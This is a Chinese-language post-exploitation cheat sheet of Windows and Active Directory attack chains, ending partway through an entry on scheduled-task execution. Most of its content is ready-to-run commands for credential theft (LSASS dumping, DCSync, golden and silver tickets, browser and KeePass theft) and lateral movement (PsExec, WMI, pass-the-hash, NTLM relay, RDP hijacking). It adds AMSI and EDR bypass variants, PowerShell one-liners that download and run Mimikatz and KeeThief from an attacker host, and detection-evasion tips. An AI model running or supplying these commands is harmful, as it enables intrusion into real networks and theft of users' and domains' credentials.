# 内网渗透 / 后渗透速查 _共 128 个结构化 payload，覆盖凭据窃取 / 横向移动 / 权限提升 / 免杀 / 域渗透 / 隧道代理 / 信息收集 / 权限维持_ ## 类别索引 | 类别 | 数量 | |---|--:| | 凭证窃取 | 20 | | 横向移动 | 16 | | 权限提升 | 15 | | 免杀与规避 | 14 | | 域渗透攻击 | 14 | | 隧道代理 | 13 | | 信息收集 | 12 | | 权限维持 | 12 | | Exchange攻击 | 5 | | ADCS攻击 | 5 | | SharePoint攻击 | 2 | ## 凭证窃取 ### Mimikatz凭证抓取 `mimikatz-creds` 使用Mimikatz抓取Windows系统凭证 子类：**Mimikatz** · tags: `mimikatz` `credentials` `windows` `lsass` **前置条件：** 需要管理员权限；需要绕过杀毒软件；Windows系统 **攻击链：** **1. 抓取所有凭证** _[windows]_ _抓取LSASS中的所有登录凭证_ ``` mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" ``` **2. 导出LSASS** _[windows]_ _从LSASS转储文件中提取凭证_ ``` mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit" ``` **3. Pass-the-Hash** _[windows]_ _使用NTLM哈希进行Pass-the-Hash攻击_ ``` mimikatz.exe "sekurlsa::pth /user:Administrator /domain:target.com /ntlm:HASH" "exit" ``` **4. DCSync攻击** _[windows]_ _模拟DC同步获取域内所有用户哈希_ ``` mimikatz.exe "lsadump::dcsync /domain:target.com /user:Administrator" "exit" ``` **5. 导出所有哈希** _[windows]_ _从LSA导出所有用户哈希_ ``` mimikatz.exe "lsadump::lsa /inject" "exit" ``` **6. 黄金票据** _[windows]_ _生成黄金票据获取域管理员权限_ ``` mimikatz.exe "kerberos::golden /domain:target.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator" "exit" ``` **7. 白银票据** _[windows]_ _生成白银票据访问特定服务_ ``` mimikatz.exe "kerberos::golden /domain:target.com /sid:S-1-5-21-xxx /target:server.target.com /service:cifs /rc4:HASH /user:Administrator" "exit" ``` **EDR 绕过变体：** **1. PowerShell加载** _通过PowerShell远程加载Mimikatz_ ``` IEX (New-Object Net.WebClient).DownloadString("http://attacker/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords" ``` **2. AMSI绕过** _禁用AMSI后加载Mimikatz_ ``` SET-ITEM -PATH "HKLM:\SOFTWARE\Microsoft\AMSI" -NAME "AllowBlocking" -VALUE 1; IEX (New-Object Net.WebClient).DownloadString("http://attacker/Invoke-Mimikatz.ps1") ``` **3. 混淆执行** _通过反射绕过AMSI_ ``` $a='[Ref].Assembly.GetType'('System.Management.Automation.AmsiUtils');$b=$a.GetField'('amsiInitFailed','NonPublic,Static');$b.SetValue($null,$true);IEX(New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1') ``` **分析：** 成功执行后可获取明文密码、NTLM哈希、Kerberos票据等凭证信息。 **OPSEC：** Mimikatz会被大多数杀软检测；使用混淆或内存加载绕过检测；优先考虑使用其他更隐蔽的工具；操作LSASS会触发EDR告警 --- ### Kerberoasting攻击 `kerberoasting` Kerberoasting攻击获取服务账户哈希 子类：**Kerberos** · tags: `kerberoasting` `kerberos` `active-directory` `spn` **前置条件：** 域环境；任意域用户凭证；域内存在SPN账户 **攻击链：** **1. 发现SPN** _[windows]_ _查询域内所有SPN_ ``` setspn -T domain.com -Q */* ``` **2. 请求服务票据** _[windows]_ _PowerShell请求Kerberos票据_ ``` Add-Type -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/webserver.target.com" ``` **3. 导出票据** _[windows]_ _使用Mimikatz导出Kerberos票据_ ``` mimikatz.exe "kerberos::list /export" "exit" ``` **4. Rubeus请求** _[windows]_ _使用Rubeus进行Kerberoasting_ ``` Rubeus.exe kerberoast /stats ``` **5. Impacket GetUserSPNs** _[linux]_ _使用Impacket获取服务票据_ ``` GetUserSPNs.py domain/user:password -dc-ip dc_ip -request ``` **6. 离线破解** _[linux]_ _使用Hashcat破解Kerberos票据_ ``` hashcat -m 13100 kerberoast.hash wordlist.txt ``` **EDR 绕过变体：** **1. RC4加密** _使用RC4加密，避免触发告警_ ``` Rubeus.exe kerberoast /rc4opsec ``` **分析：** Kerberoasting可以获取服务账户的Kerberos票据，离线破解后得到明文密码。 **OPSEC：** Kerberoasting不需要高权限；只需要任意域用户凭证；建议使用RC4加密避免检测 --- ### AS-REP Roasting `asreproasting` AS-REP Roasting攻击获取用户哈希 子类：**Kerberos** · tags: `asreproasting` `kerberos` `active-directory` **前置条件：** 域环境；域中存在禁用Pre-auth的用户 **攻击链：** **1. Rubeus攻击** _[windows]_ _使用Rubeus进行AS-REP Roasting_ ``` Rubeus.exe asreproast ``` **2. Impacket攻击** _[linux]_ _使用Impacket获取AS-REP_ ``` GetNPUsers.py domain/ -usersfile users.txt -format hashcat -outputfile hashes.txt ``` **3. 查找禁用Pre-auth用户** _[windows]_ _查找禁用Pre-auth的用户_ ``` Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth ``` **4. 破解哈希** _[linux]_ _使用Hashcat破解AS-REP哈希_ ``` hashcat -m 18200 asrep.hash wordlist.txt ``` **分析：** AS-REP Roasting可以获取禁用Pre-auth用户的哈希，离线破解后得到明文密码。 **OPSEC：** 不需要任何凭证；只需要用户名；禁用Pre-auth是错误配置 --- ### LaZagne凭证抓取 `lazagne-creds` 使用LaZagne抓取各种应用程序凭证 子类：**工具** · tags: `lazagne` `credentials` `browsers` `applications` **前置条件：** 目标机器访问权限；LaZagne工具 **攻击链：** **1. 抓取所有凭证** _[windows]_ _抓取所有支持的凭证_ ``` laZagne.exe all ``` **2. 浏览器凭证** _[windows]_ _抓取浏览器保存的密码_ ``` laZagne.exe browsers ``` **3. WiFi凭证** _[windows]_ _抓取WiFi密码_ ``` laZagne.exe wifi ``` **4. 邮件客户端** _[windows]_ _抓取邮件客户端密码_ ``` laZagne.exe mails ``` **5. 数据库凭证** _[windows]_ _抓取数据库客户端密码_ ``` laZagne.exe databases ``` **6. Linux版本** _[linux]_ _Linux版本抓取_ ``` python laZagne.py all ``` **EDR 绕过变体：** **1. 混淆执行** _Base64编码执行_ ``` python -c "exec(__import__(\"base64\").b64decode(\"BASE64_PAYLOAD\"))" ``` **分析：** LaZagne可以从浏览器、邮件客户端、数据库客户端等多种应用程序中提取保存的凭证。 **OPSEC：** LaZagne会被杀软检测；考虑使用混淆或内存加载；可以只运行特定模块 --- ### SAM数据库导出 `sam-dump` 导出Windows SAM数据库获取本地账户哈希 子类：**SAM** · tags: `sam` `hash` `windows` `local` **前置条件：** 管理员权限；Windows系统 **攻击链：** **1. reg导出** _[windows]_ _导出SAM和SYSTEM配置单元_ ``` reg save HKLM\SAM sam.hive & reg save HKLM\SYSTEM system.hive ``` **2. Impacket解析** _[linux]_ _使用Impacket解析SAM_ ``` secretsdump.py -sam sam.hive -system system.hive LOCAL ``` **3. Mimikatz导出** _[windows]_ _使用Mimikatz导出SAM_ ``` mimikatz.exe "lsadump::sam" "exit" ``` **4. Volume Shadow Copy** _[windows]_ _从卷影副本复制SAM_ ``` vssadmin create shadow /for=C: & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam.hive ``` **分析：** SAM数据库包含本地账户的NTLM哈希，可以用于破解或Pass-the-Hash。 **OPSEC：** 需要管理员权限；操作注册表可能触发告警；卷影副本方法更隐蔽 --- ### NTDS.dit导出 `ntds-dump` 导出Active Directory数据库获取所有域用户哈希 子类：**NTDS** · tags: `ntds` `active-directory` `hash` `domain` **前置条件：** 域管理员权限；域控制器访问权限 **攻击链：** **1. ntdsutil快照** _[windows]_ _使用ntdsutil创建IFM快照_ ``` ntdsutil "activate instance ntds" "ifm" "create full c:\temp" "quit" "quit" ``` **2. Volume Shadow Copy** _[windows]_ _从卷影副本复制NTDS.dit_ ``` vssadmin create shadow /for=C: & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit ``` **3. Impacket解析** _[linux]_ _使用Impacket解析NTDS.dit_ ``` secretsdump.py -ntds ntds.dit -system system.hive LOCAL ``` **4. Impacket远程转储** _[linux]_ _远程转储域哈希_ ``` secretsdump.py domain/admin:password@dc_ip -just-dc ``` **5. Mimikatz DCSync** _[windows]_ _使用DCSync同步所有哈希_ ``` mimikatz.exe "lsadump::dcsync /domain:target.com /all" "exit" ``` **分析：** NTDS.dit包含域内所有用户的哈希，可以用于破解或Pass-the-Hash。 **OPSEC：** 需要域管理员权限；DCSync方法更隐蔽；操作可能触发大量告警 --- ### GPP密码提取 `gpp-password` 提取组策略首选项中的密码 子类：**GPP** · tags: `gpp` `group-policy` `password` `xml` **前置条件：** 域环境；任意域用户凭证 **攻击链：** **1. 查找GPP文件** _[linux]_ _查找SYSVOL中的XML文件_ ``` find /domain/sysvol -name "*.xml" 2>/dev/null ``` **2. PowerShell查找** _[windows]_ _PowerShell查找GPP文件_ ``` Get-ChildItem -Path "\\domain.com\SYSVOL" -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.Name -match "\.xml$"} ``` **3. PowerView提取** _[windows]_ _使用PowerView提取GPP密码_ ``` Get-NetGPPPassword ``` **4. gpp-decrypt** _[linux]_ _解密GPP密码哈希_ ``` gpp-decrypt HASH ``` **5. Impacket提取** _[linux]_ _使用Impacket提取GPP密码_ ``` Get-GPPPassword.py domain/user:password@dc_ip ``` **分析：** GPP密码使用公开的密钥加密，可以被解密获取明文密码。 **OPSEC：** GPP密码是常见的信息泄露点；只需要普通域用户权限；MS14-025修复后新密码不会被存储 --- ### Mimikatz高级技巧 `mimikatz-advanced` Mimikatz高级凭证提取和利用技术 子类：**Mimikatz** · tags: `mimikatz` `credentials` `advanced` **前置条件：** 管理员权限；Mimikatz工具 **攻击链：** **1. DCSync攻击** _[windows]_ _模拟DC同步获取域管哈希_ ``` lsadump::dcsync /domain:domain.com /user:Administrator ``` **2. 黄金票据生成** _[windows]_ _生成黄金票据并注入_ ``` kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator /ptt ``` **3. 白银票据生成** _[windows]_ _生成白银票据访问特定服务_ ``` kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /target:server /service:cifs /rc4:HASH /user:Administrator /ptt ``` **4. Skeleton Key植入** _[windows]_ _植入万能密码mimikatz_ ``` privilege::debug misc::skeleton ``` --- ### 浏览器凭证提取 `browser-creds` 从浏览器中提取保存的密码和Cookie 子类：**浏览器** · tags: `browser` `credentials` `chrome` `firefox` **前置条件：** 用户权限；浏览器已保存密码 **攻击链：** **1. Chrome密码提取** _[windows]_ _复制Chrome登录数据库_ ``` Get-ChildItem -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" | Copy-Item -Destination "C:\temp\Login Data" ``` **2. Chrome Cookie提取** _[windows]_ _复制Chrome Cookie数据库_ ``` Get-ChildItem -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies" | Copy-Item -Destination "C:\temp\Cookies" ``` **3. 使用SharpWeb** _[windows]_ _使用SharpWeb提取浏览器凭证_ ``` SharpWeb.exe --browser chrome ``` **4. 使用HackBrowserData** _提取Chrome所有数据_ ``` hack-browser-data.exe -b chrome ``` --- ### DPAPI凭证提取 `dpapi-creds` 从DPAPI保护存储中提取凭证 子类：**DPAPI** · tags: `dpapi` `credentials` `windows` **前置条件：** 用户权限；DPAPI master key **攻击链：** **1. 枚举DPAPI凭据** _[windows]_ _查找DPAPI保护的凭据文件_ ``` Get-ChildItem -Path "$env:APPDATA\Microsoft\Credentials" -Force ``` **2. 使用Mimikatz解密** _[windows]_ _解密DPAPI凭据_ ``` dpapi::cred /in:C:\Users\user\AppData\Roaming\Microsoft\Credentials\XXX ``` **3. 获取Master Key** _[windows]_ _从内存获取DPAPI master key_ ``` sekurlsa::dpapi ``` --- ### RDP凭证提取 `rdp-creds` 提取保存的RDP连接密码 子类：**RDP** · tags: `rdp` `credentials` `windows` **前置条件：** 用户权限；已保存RDP密码 **攻击链：** **1. 查找RDP文件** _[windows]_ _查找RDP连接文件_ ``` Get-ChildItem -Path "$env:USERPROFILE\Documents\*.rdp" -Recurse ``` **2. 提取RDP密码** _[windows]_ _列出保存的凭据_ ``` cmdkey /list ``` **3. 使用Mimikatz** _[windows]_ _解密RDP保存的密码_ ``` dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\XXX ``` --- ### WiFi凭证提取 `wifi-creds` 提取保存的WiFi密码 子类：**WiFi** · tags: `wifi` `credentials` `windows` **前置条件：** 管理员权限；已连接WiFi **攻击链：** **1. 列出WiFi配置文件** _[windows]_ _显示所有WiFi配置文件_ ``` netsh wlan show profiles ``` **2. 提取WiFi密码** _[windows]_ _显示WiFi密码_ ``` netsh wlan show profile name="WiFi_Name" key=clear ``` --- ### Windows Vault凭证 `vault-creds` 从Windows凭据管理器提取凭证 子类：**Vault** · tags: `vault` `credentials` `windows` **前置条件：** 用户权限；已保存凭据 **攻击链：** **1. 列出Vault凭据** _[windows]_ _列出所有Vault_ ``` vaultcmd /list ``` **2. 导出Vault凭据** _[windows]_ _列出Windows凭据_ ``` vaultcmd /listcreds:"Windows Credentials" /all ``` **3. 使用Mimikatz** _[windows]_ _从内存提取凭据管理器密码_ ``` sekurlsa::credman ``` --- ### KeePass凭证提取 `keepass-dump` 从KeePass数据库提取密码 子类：**KeePass** · tags: `keepass` `credentials` `password-manager` **前置条件：** KeePass数据库文件；主密码或内存转储 **攻击链：** **1. 查找KeePass数据库** _[windows]_ _搜索KeePass数据库文件_ ``` Get-ChildItem -Path C:\ -Filter "*.kdbx" -Recurse -ErrorAction SilentlyContinue ``` **2. 内存提取主密码** _[windows]_ _从KeePass进程内存提取_ ``` 使用KeePassDump或KeeThief从内存提取主密码 ``` **3. 使用KeeThief** _[windows]_ _PowerShell提取KeePass密码_ ``` powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://attacker/KeeThief.ps1'); Get-KeePassPw ``` --- ### LSA Secrets提取 `lsa-secrets` 从LSA Secrets提取敏感数据 子类：**LSA** · tags: `lsa` `secrets` `windows` **前置条件：** SYSTEM权限 **攻击链：** **1. 使用Mimikatz** _[windows]_ _提取LSA Secrets_ ``` lsadump::secrets ``` **2. 使用reg save** _[windows]_ _导出注册表hive离线分析_ ``` reg save HKLM\SECURITY security.hive reg save HKLM\SYSTEM system.hive ``` **3. 使用Impacket** _[linux]_ _离线提取LSA Secrets_ ``` secretsdump.py -security security.hive -system system.hive LOCAL ``` --- ### 缓存凭证提取 `cached-creds` 提取域缓存凭证 子类：**缓存** · tags: `cached` `credentials` `domain` **前置条件：** SYSTEM权限；域环境 **攻击链：** **1. 使用Mimikatz** _[windows]_ _提取缓存域凭证_ ``` lsadump::cache ``` **2. 使用reg save** _[windows]_ _导出SECURITY hive_ ``` reg save HKLM\SECURITY security.hive ``` **3. 离线破解** _[linux]_ _缓存凭证可离线破解_ ``` 使用hashcat破解缓存的域凭证 ``` --- ### DCSync攻击 `dcsync-attack` 模拟域控制器同步获取凭证 子类：**域渗透** · tags: `dcsync` `domain-controller` `mimikatz` **前置条件：** 域管理员权限或特定权限 **攻击链：** **1. 使用Mimikatz** _[windows]_ _使用Mimikatz执行DCSync_ ``` mimikatz # lsadump::dcsync /domain:domain.com /user:Administrator ``` **2. 使用impacket** _[linux]_ _使用impacket执行DCSync_ ``` python secretsdump.py -just-dc-user Administrator domain.com/user:password@dc_ip ``` **3. 导出所有哈希** _[windows]_ _导出域内所有用户哈希_ ``` mimikatz # lsadump::dcsync /domain:domain.com /all /csv ``` **4. 权限要求** _DCSync所需权限_ ``` 需要以下权限之一: - Domain Admin - Enterprise Admin - 复制目录更改权限 ``` --- ### 黄金票据攻击 `golden-ticket` 使用krbtgt哈希生成黄金票据 子类：**域持久化** · tags: `golden-ticket` `krbtgt` `kerberos` **前置条件：** krbtgt账户哈希；域SID **攻击链：** **1. 获取krbtgt哈希** _[windows]_ _获取krbtgt账户哈希_ ``` mimikatz # lsadump::lsa /inject /name:krbtgt ``` **2. 获取域SID** _[windows]_ _获取域SID_ ``` whoami /user 或: wmic useraccount get sid ``` **3. 生成黄金票据** _[windows]_ _生成并注入黄金票据_ ``` mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /ptt ``` **4. 验证票据** _[windows]_ _验证黄金票据是否有效_ ``` klist 或: dir \\dc.domain.com\c$ ``` --- ### 白银票据攻击 `silver-ticket` 使用服务账户哈希生成白银票据 子类：**域持久化** · tags: `silver-ticket` `kerberos` `service` **前置条件：** 服务账户哈希；域SID **攻击链：** **1. 获取服务哈希** _[windows]_ _获取服务账户哈希_ ``` mimikatz # sekurlsa::logonpasswords 寻找服务账户NTLM哈希 ``` **2. 生成白银票据** _[windows]_ _生成针对特定服务的票据_ ``` mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-xxx /target:server.domain.com /service:cifs /rc4:HASH /ptt ``` **3. 常见服务类型** _可伪造的服务类型_ ``` CIFS - 文件共享 HTTP - Web服务 LDAP - 目录服务 MSSQLSvc - SQL服务 HOST - 远程管理 ``` --- ### 无人值守安装凭证提取 `unattended-creds` 从Windows无人值守安装文件(Unattend.xml/Sysprep)中提取明文或Base64编码的管理员凭证 子类：**文件凭证** · tags: `credentials` `unattend` `sysprep` `privilege-escalation` `windows` **前置条件：** 本地文件系统读取权限；目标使用过无人值守部署 **攻击链：** **1. 搜索无人值守安装文件** _[windows]_ _在默认路径搜索Unattend/Sysprep配置文件，这些文件在Windows自动部署后可能残留在系统中_ ``` dir /s /b C:\Windows\Panther\Unattend.xml C:\Windows\Panther\unattended.xml C:\Windows\Panther\Autounattend.xml C:\Windows\System32\Sysprep\sysprep.xml C:\Windows\System32\Sysprep\unattend.xml 2>nul ``` **2. 全盘搜索Unattend文件** _[windows]_ _当默认路径找不到时，全盘递归搜索所有可能的无人值守文件_ ``` # CMD方式 dir /s /b C:\*unattend*.xml C:\*sysprep*.xml 2>nul # PowerShell方式 Get-ChildItem -Path C:\ -Recurse -Include "*unattend*","*sysprep*","*autounattend*" -ErrorAction SilentlyContinue | Select-Object FullName ``` **3. 提取明文密码** _[windows]_ _从Unattend.xml中提取密码字段，密码可能以明文或Base64编码形式存储在//节点中_ ``` # 查看文件内容 type C:\Windows\Panther\Unattend.xml # 关键字段搜索 findstr /i /c:"Password" /c:"AutoLogon" /c:"AdminPassword" C:\Windows\Panther\Unattend.xml # PowerShell提取 [xml]$xml = Get-Content C:\Windows\Panther\Unattend.xml $xml.unattend.settings.component | Where-Object { $_.AutoLogon } | ForEach-Object { $_.AutoLogon.Password.Value } ``` **4. 解码Base64密码** _[windows]_ _Unattend.xml中的密码如果以Base64编码存储，需要解码。Windows使用UTF-16LE编码，因此必须用Unicode解码而非ASCII_ ``` # PowerShell解码Base64 $encoded = "QQBkAG0AaQBuAEAAMQAyADMA" # 从XML提取的编码值 [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded)) # 或者使用certutil echo QQBkAG0AaQBuAEAAMQAyADMA > C:\temp\encoded.txt certutil -decode C:\temp\encoded.txt C:\temp\decoded.txt type C:\temp\decoded.txt ``` **5. 检查其他敏感安装文件** _[windows]_ _除Unattend.xml外，其他位置也可能存储明文凭证_ ``` # 检查GPP(Group Policy Preferences)密码 findstr /S /I cpassword \\domain.com\sysvol\domain.com\policies\*.xml 2>nul # 检查IIS配置文件 type C:\inetpub\wwwroot\web.config 2>nul | findstr /i "connectionString password" # 检查VNC密码文件 reg query "HKCU\Software\ORL\WinVNC3\Password" 2>nul reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password 2>nul # 检查WiFi密码 netsh wlan show profiles netsh wlan show profile name="目标WiFi" key=clear ``` **6. 使用Metasploit自动化** _[windows]_ _使用Metasploit后渗透模块自动搜索和提取无人值守安装文件中的凭证_ ``` # Metasploit模块 use post/windows/gather/enum_unattend set SESSION 1 run # 也可以使用 use post/multi/gather/firefox_creds use post/windows/gather/credentials/gpp use post/windows/gather/cachedump ``` **EDR 绕过变体：** **1. 绕过文件访问监控** _[windows]_ _通过卷影副本或流式读取绕过文件访问监控_ ``` # 使用Volume Shadow Copy读取被锁定的文件 vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\Panther\Unattend.xml C:\temp\u.xml # 使用PowerShell流式读取避免文件锁 [IO.File]::ReadAllText("C:\Windows\Panther\Unattend.xml") ``` **分析：** 无人值守安装文件是Windows大规模部署的产物。这些XML文件中的/节点可能包含本地管理员或域管理员的明文/编码凭证。该漏洞在企业环境中极为常见，因为IT部门经常忽略部署后清理这些文件。 **OPSEC：** 读取文件操作通常不会触发警报，但大量文件搜索(dir /s)可能被EDR检测。建议直接检查已知路径而非全盘搜索。 --- ## 横向移动 ### PsExec横向移动 `lateral-psexec` 使用PsExec进行横向移动 子类：**SMB** · tags: `psexec` `lateral` `smb` `windows` **前置条件：** 目标机器开放445端口；拥有目标机器管理员凭证；ADMIN$共享可访问 **攻击链：** **1. 基本使用** _[linux]_ _使用Impacket的psexec.py连接目标_ ``` psexec.py domain/user:password@target_ip ``` **2. 使用哈希连接** _[linux]_ _使用NTLM哈希进行Pass-the-Hash_ ``` psexec.py -hashes :NTLM_HASH domain/user@target_ip ``` **3. 执行命令** _[linux]_ _在目标机器执行命令_ ``` psexec.py domain/user:password@target_ip "whoami" ``` **4. Windows PsExec** _[windows]_ _使用Sysinternals PsExec_ ``` PsExec.exe \\target_ip -u domain\user -p password cmd.exe ``` **EDR 绕过变体：** **1. 自定义服务名** _使用自定义服务名避免检测_ ``` psexec.py -service-name CustomService domain/user:password@target_ip ``` **2. SMBExec替代** _使用smbexec.py，不写入磁盘_ ``` smbexec.py domain/user:password@target_ip ``` **分析：** PsExec通过SMB协议在目标机器创建服务并执行命令，成功后可获得目标机器的Shell。 **OPSEC：** PsExec会在目标机器创建服务，容易被检测；服务名称和二进制文件可能触发告警；考虑使用更隐蔽的横向移动方式 --- ### WMI横向移动 `lateral-wmi` 使用WMI进行横向移动 子类：**WMI** · tags: `wmi` `lateral` `windows` `remote` **前置条件：** 目标机器开放135端口；拥有目标机器管理员凭证；WMI服务可访问 **攻击链：** **1. WMI执行命令** _[windows]_ _使用WMIC远程执行命令_ ``` wmic /node:target_ip /user:domain\user /password:pass process call create "cmd.exe /c whoami" ``` **2. Impacket wmiexec** _[linux]_ _使用Impacket的wmiexec.py_ ``` wmiexec.py domain/user:password@target_ip ``` **3. 使用哈希** _[linux]_ _Pass-the-Hash通过WMI_ ``` wmiexec.py -hashes :NTLM_HASH domain/user@target_ip ``` **4. PowerShell WMI** _[windows]_ _使用PowerShell WMI_ ``` Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName target_ip -Credential $cred ``` **EDR 绕过变体：** **1. WMI事件订阅** _通过WMI安装MSI包执行代码_ ``` wmic /node:target_ip /user:domain\user /password:pass path win32_product call install /package:"\\attacker\share\malware.msi" ``` **分析：** WMI横向移动不会在目标机器创建服务，相对PsExec更隐蔽。 **OPSEC：** WMI执行不会留下明显的文件痕迹；但WMI活动可能被监控；命令输出通过临时文件获取 --- ### Pass-the-Hash攻击 `pass-the-hash` 使用NTLM哈希进行身份验证 子类：**认证攻击** · tags: `pth` `ntlm` `hash` `authentication` **前置条件：** 获取用户NTLM哈希；目标机器允许NTLM认证；目标机器开放SMB/WMI端口 **攻击链：** **1. Impacket PtH** _[linux]_ _使用Impacket进行PtH_ ``` psexec.py -hashes :NTHASH domain/user@target_ip ``` **2. CrackMapExec PtH** _[linux]_ _使用CrackMapExec进行PtH_ ``` crackmapexec smb target_ip -u user -H NTHASH -d domain ``` **3. Windows PtH** _[windows]_ _使用Mimikatz进行PtH_ ``` sekurlsa::pth /user:Administrator /domain:target.com /ntlm:NTHASH ``` **4. PowerShell PtH** _[windows]_ _使用PowerShell进行PtH_ ``` Invoke-SMBClient -Domain domain -User user -Hash NTHASH -Target target_ip ``` **EDR 绕过变体：** **1. Overpass-the-Hash** _将哈希转换为Kerberos票据_ ``` sekurlsa::pth /user:Administrator /domain:target.com /ntlm:NTHASH /run:cmd.exe ``` **分析：** PtH成功后可以该用户身份访问目标机器，无需明文密码。 **OPSEC：** PtH不会产生登录日志中的密码验证；但会留下网络登录日志；注意时间戳和来源IP --- ### NTLM Relay攻击 `ntlm-relay` NTLM中继攻击技术 子类：**认证攻击** · tags: `ntlm` `relay` `smb` `authentication` **前置条件：** 目标机器开放SMB端口；目标机器未启用SMB签名；可诱导目标机器认证 **攻击链：** **1. Responder监听** _[linux]_ _启动Responder监听NTLM认证_ ``` responder -I eth0 -wrf ``` **2. ntlmrelayx攻击** _[linux]_ _使用ntlmrelayx进行中继攻击_ ``` ntlmrelayx.py -tf targets.txt -smb2support ``` **3. 中继到LDAP** _[linux]_ _中继到LDAP进行权限提升_ ``` ntlmrelayx.py -t ldap://dc_ip -smb2support --escalate-user user ``` **4. IPv6中继** _[linux]_ _使用IPv6进行NTLM中继_ ``` mitm6 -d domain.com & ntlmrelayx.py -t ldap://dc_ip -wh attacker_ip ``` **EDR 绕过变体：** **1. Drop the MIC** _移除MIC标志绕过签名验证_ ``` ntlmrelayx.py -t smb://target --remove-mic ``` **分析：** NTLM Relay成功后可以获取目标机器的访问权限或提升域权限。 **OPSEC：** 需要目标机器未启用SMB签名；域控制器默认启用签名；IPv6中继更隐蔽 --- ### WinRM横向移动 `lateral-winrm` 通过WinRM进行横向移动 子类：**WinRM** · tags: `winrm` `lateral` `powershell` **前置条件：** WinRM启用；有效凭证 **攻击链：** **1. PowerShell远程** _[windows]_ _PowerShell远程会话_ ``` Enter-PSSession -ComputerName target -Credential $cred ``` **2. 执行命令** _[windows]_ _远程执行命令_ ``` Invoke-Command -ComputerName target -ScriptBlock { whoami } -Credential $cred ``` **3. evil-winrm** _[linux]_ _使用evil-winrm连接_ ``` evil-winrm -i target -u user -p password ``` --- ### DCOM横向移动 `lateral-dcom` 通过DCOM进行横向移动 子类：**DCOM** · tags: `dcom` `lateral` `com` **前置条件：** DCOM启用；有效凭证 **攻击链：** **1. MMC20.Application** _[windows]_ _通过MMC DCOM执行命令_ ``` $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","target")) $com.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c whoami","7") ``` **2. ShellBrowserWindow** _[windows]_ _通过ShellBrowserWindow执行_ ``` $com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","target")) $com.Document.Application.ShellExecute("cmd.exe","/c whoami","c:\windows\system32",$null,0) ``` **3. Excel DCOM** _[windows]_ _通过Excel DCOM执行_ ``` $com = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","target")) $com.DisplayAlerts = $false $com.DDEInitiate("cmd","/c calc.exe") ``` --- ### SSH横向移动 `lateral-ssh` 通过SSH进行横向移动 子类：**SSH** · tags: `ssh` `lateral` `linux` **前置条件：** SSH服务；有效凭证 **攻击链：** **1. SSH连接** _[linux]_ _基础SSH连接_ ``` ssh user@target ``` **2. SSH密钥认证** _[linux]_ _使用私钥连接_ ``` ssh -i private_key user@target ``` **3. SSH跳板** _[linux]_ _通过跳板机连接_ ``` ssh -J jump_host user@target ``` --- ### RDP会话劫持 `rdp-hijack` 劫持已存在的RDP会话 子类：**RDP** · tags: `rdp` `hijack` `session` **前置条件：** SYSTEM权限；存在RDP会话 **攻击链：** **1. 列出会话** _[windows]_ _列出所有用户会话_ ``` query user ``` **2. 劫持会话** _[windows]_ _劫持指定会话_ ``` tscon SESSION_ID /dest:console ``` **3. 使用Mimikatz** _[windows]_ _使用Mimikatz劫持_ ``` ts::sessions ts::remote /id:SESSION_ID ``` --- ### Overpass-the-Hash `overpass-the-hash` 使用哈希获取Kerberos票据 子类：**PtH** · tags: `pth` `kerberos` `hash` **前置条件：** 用户NTLM哈希；域环境 **攻击链：** **1. Mimikatz** _[windows]_ _使用哈希获取Kerberos票据_ ``` sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:HASH /ptt ``` **2. Rubeus** _[windows]_ _使用Rubeus获取票据_ ``` Rubeus.exe asktgt /user:Administrator /domain:domain.com /rc4:HASH /ptt ``` **3. Impacket** _[linux]_ _获取Kerberos票据_ ``` getTGT.py domain.com/user -hashes :HASH ``` --- ### Pass-the-Ticket `pass-the-ticket` 使用Kerberos票据进行横向移动 子类：**PtT** · tags: `ptt` `kerberos` `ticket` **前置条件：** 有效Kerberos票据 **攻击链：** **1. 导出票据** _[windows]_ _从内存导出Kerberos票据_ ``` sekurlsa::tickets /export ``` **2. 注入票据** _[windows]_ _注入票据到当前会话_ ``` kerberos::ptt ticket.kirbi ``` **3. Rubeus导入** _[windows]_ _使用Rubeus注入票据_ ``` Rubeus.exe ptt /ticket:base64ticket ``` --- ### SMBExec横向移动 `lateral-smbexec` 通过SMB执行命令 子类：**SMB** · tags: `smb` `lateral` `exec` **前置条件：** SMB访问权限；管理员权限 **攻击链：** **1. Impacket smbexec** _[linux]_ _使用smbexec执行命令_ ``` smbexec.py domain/user:password@target ``` **2. 通过服务执行** _[windows]_ _创建并启动服务_ ``` sc \\target create evilsvc binPath= "cmd /c whoami" sc \\target start evilsvc sc \\target delete evilsvc ``` --- ### ATExec横向移动 `lateral-atexec` 通过计划任务执行命令 子类：**计划任务** · tags: `at` `scheduled` `lateral` 